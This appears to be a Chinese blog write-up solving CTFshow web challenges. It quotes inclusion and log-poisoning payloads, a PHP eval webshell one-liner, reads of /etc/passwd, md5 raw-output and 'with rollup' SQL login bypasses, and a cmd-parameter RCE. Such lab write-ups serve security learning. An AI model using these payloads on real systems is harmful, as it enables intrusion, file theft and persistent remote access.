[CTFshow]Web记录(连载中)
Web
Web签到题(注释隐藏,base64编码)
F12,发现注释里面有一串base64,解码拿到flag。
Web2(sql盲注)
打开题目一看似乎是个时间盲注,直接丢sqlmap爆破拿到flag。
Web3(文件包含,伪协议)

主页上有这么一行代码,很明显是文件包含漏洞,get一下url的值,然后包含文件。这里我们使用php的input伪协议,

先来个phpinfo试一下,成功显示,不过里面没什么重要东西。这次我们执行命令ls:

返回如下:

里面有个ctf_go_go_go很可疑,使用cat命令打开:
<?php system("cat 'ctf_go_go_go'");?>
flag就在里面,成功回显。
值得注意的一点:
第一次执行ls命令的时候我使用了eval函数,回显页面只有命令产生的回显,原来index里面的页面内容都不见了;第二次直接system执行,不使用eval的时候,回显页面是index加上命令回显,暂时不知道原因。
Web4(文件包含,日志注入,webshell)

还是一样的页面,但这次让我吃了点苦头。尝试和上一次一样的php伪协议,但是都会返回一个error页面,无可奈何查看hint,hint说此题为日志注入。
日志注入:
日志包含漏洞属于是本地文件包含,同样服务器没有很好的过滤,或者是服务器配置不当导致用户进入了内网,本来常规用户是访问不了这些文件的,但由于发起访问请求的人是服务器本身,也就导致用户任意文件读取。
在不同的服务器,存放日志文件地方和文件名不同
apache一般是/var/log/apache/access.log
nginx的log在/var/log/nginx/access.log和/var/log/nginx/error.log
首先,构造payload:
?url=/etc/passwd
Linux下的/etc/passwd文件中有一些记录,如果可以访问这个地址说明我们可以查看内网文件。访问之后发现果然可以查看内网文件,并且知道了服务器是nginx。
构造payload:
?url=/var/log/nginx/access.log
看到了里面的内容,发现记录的东西都是user-agent,那我们burp抓包,在user-agent中注入,比如添加<?php phpinfo();?>试试看:

成功回显,我们将phpinfo()改成一句话木马进行注入:
<?php @eval($_POST['shell']);?>
使用蚁剑连接,在目录中可以找到flag。
值得注意的一点:
第一次蚁剑连接之后里面的文件都是奇奇怪怪的东西,后来重新弄了一遍之后就好了,也许是哪里出了点问题。
Web5(php弱类型,md5碰撞)

get两个值v1和v2,ctype_alpha检查v1是否仅包含字符,is_numeric检查v2是否为数字或数字字符串,然后构造md5碰撞。这是典型的弱类型比较问题,“ == ”运算符会将两个比较对象转换成同一类型再进行比较,对于字符串来说,数字开头的就会转换成相应数字,比如"1a"==1返回true,其他一概转换成0,如"a0"==0返回true。所以我们只要找一些md5值开头是0e的字符串就可以。
md5(QNKCDZO) = 0e830400451993494058024219903391 md5(240610708) = 0e462097431906509019562988736854
两者在比较的时候都会转换成0,从而导致判断结果为相等。
Web6(SQL注入——post型盲注)
经过测试,是个过滤空格的布尔盲注,可以手注(将空格换成注释即可),也可以sqlmap爆破,使用space2randomblank.py脚本爆破即可。
Web7(SQL注入——get型布尔盲注)
跟上一道题如出一辙,只不过请求方式从post换成了get而已,用和web6一样的方法处理就行。
Web8(SQL注入——get型布尔盲注)
这道题过滤了单引号,逗号,and,union等关键字符,所以sqlmap很难受了,需要手工注入。
过滤空格:用注释/**/替换空格。
过滤逗号:substr(database(),1,1)改成substr(database() from 1 for 1)(空格需要替换)
手工盲注太过繁琐,利用python脚本爆破flag。

一点一点爆出flag还是很有成就感的。(但是太慢了,我都怕环境关了爆不完)

Web9(SQL注入——md5特性)
进来之后是一个登录页面,感觉像sql注入,但是发现怎么试都没有反应,决定再重新做一次信息搜集,结果发现了index.phps文件(信息搜集的重要性!!!)。

首先username已经锁死是admin了,所以我们最初的思路是完全错误的。密码长度不能大于10,否则会die掉。后台对传入的password值进行md5处理,这里重中之重来了:
md5($password,true)
md5(string,raw)函数的第二个参数raw的值,可以是false或true。
默认不写为false,编码成32位16进制字符串,即我们通常见到的那种md5字符串;
如果为true,会编码成16位原始二进制字符串,注意这里的原始二进制字符串不是01比特流,而是类似于'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c这种莫名其妙的字符串。
这里先说结论:传入password=ffifdyop
md5(ffifdyop,true)='or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
此时sql语句变成了:
select * from user where username ='admin' and password =''or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'
注意看后半部分变成了
password ='' or '6\xc9]\x99\xe9!r,\xf9\xedb\x1c'
我们知道在php中,如果一个字符串是由数字开头的,那么这个字符串的整型值就是这个数,比如这个'6\xc9]\x99\xe9!r,\xf9\xedb\x1c'的值就是6,所以实际上是:
password='' or 6
6换成bool是true,所以万能密码构造完成,登录成功获得flag。实际上我们是要找到一个字符串,使得:
md5(str, true)='or'[1-9]*
Web10(SQL——with rollup注入)
首先信息搜集,访问index.phps拿到后台源码:

首先,正则表达式不分大小写过滤掉了select,from,where等关键字。我们考虑双写绕过,但下面的长度比较让我们无法使用双写绕过,无奈寻求场外帮助,得知此题使用到了之前没有接触过的with rollup绕过。
简单介绍一下with rollup:
首先回顾一下group by:group by会将数据行结果按照列值进行分组,它的后面可以再跟with rollup语句,表示在进行分组统计的基础上再次进行汇总统计。
select password from web group by password with rollup;
本题中with rollup最重要的一个特性,就是会在表中多产生一行NULL:
由于使用with rollup之后会多出来一行NULL,那么只要password输入为NULL,就可以查询成功。构造post数据(空格用注释绕过):
username=admin'/**/or/**/1=1/**/group/**/by/**/password/**/with/**/rollup#&password=
登录成功,拿到flag。
Web11(绕过SESSION登录验证)

代码审计一下,还是过滤了那些东西,这次是只输入password,和SESSION中保存的password相同即可成功登录。那我们直接打开cookie editor,删除掉PHPSESSID,这样就没有SESSION内容了,什么都不输入即可登录成功。或者burpsuite抓包修改也可以。
Web12(RCE)

极简界面,先信息搜集。F12发现注释里提示get一个变量cmd:

初步认为是RCE,之后的信息搜集没有任何收获,暂时按照RCE来处理。
使用system无回显,换一种方法,使用scandir(".")扫描当前目录:
?cmd=print_r(scandir("."));
发现回显了:

直接访问这个长长的php看不到,使用show_source显示源码(自带高亮):
?cmd=show_source("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
拿到flag了。

浙公网安备 33010602011771号